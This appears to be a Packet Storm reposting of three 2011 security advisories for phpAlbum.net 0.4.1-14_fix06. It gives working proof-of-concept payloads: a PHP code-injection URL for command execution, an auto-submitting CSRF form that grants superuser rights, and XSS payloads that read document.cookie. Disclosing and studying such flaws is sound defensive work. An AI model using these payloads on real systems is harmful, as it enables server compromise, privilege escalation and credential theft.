exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution
Posted Apr 14, 2011
Authored by High-Tech Bridge SA | Site htbridge.com

phpAlbum.net version 0.4.1-14_fix06 suffers from cross site request forgery, cross site scripting, and remote command execution vulnerabilities.

tags | exploit, remote, vulnerability, xss, csrf
SHA-256 | d3b3b2fe24c513488e371d057b26f458e7b0f4c91bfcc64d6293c28262d7bbbb

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

Change Mirror Download
====================================
Vulnerability ID: HTB22924
Reference: http://www.htbridge.ch/advisory/arbitrary_command_execution_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: Arbitrary Command Execution
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
Arbitrary command execution vulnerability allows an attacker to execute system commands on a vulnerable system.

The vulnerability exists due to failure in the "phpdatabase.php" script to properly sanitize user-supplied input in "var3" variable.

The following PoC is available:

http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx')


====================================
Vulnerability ID: HTB22923
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "main.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="p_username_f" value="test">
<input type="hidden" name="p_password_f" value="">
<input type="hidden" name="p_retype_password_f" value="">
<input type="hidden" name="p_email_f" value="email@example.com">
<input type="hidden" name="p_homepage_f" value="http://www.example.com">
<input type="hidden" name="p_group1" value="guest">
<input type="hidden" name="p_group2" value="superuser">
<input type="hidden" name="p_userid_f" value="USERID">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="user">
<input type="hidden" name="var3" value="USERID">
<input type="hidden" name="var2" value="update">
</form>
<script>
document.main.submit();
</script>


====================================
Vulnerability ID: HTB22922
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "setup.php" script to properly sanitize user-supplied input in "var3", "p_new_group_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cookie)</script>


2.

<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="groups">
<input type="hidden" name="var2" value="add">
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>


Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    10 Files
  • 6
    Dec 6th
    13 Files
  • 7
    Dec 7th
    23 Files
  • 8
    Dec 8th
    19 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close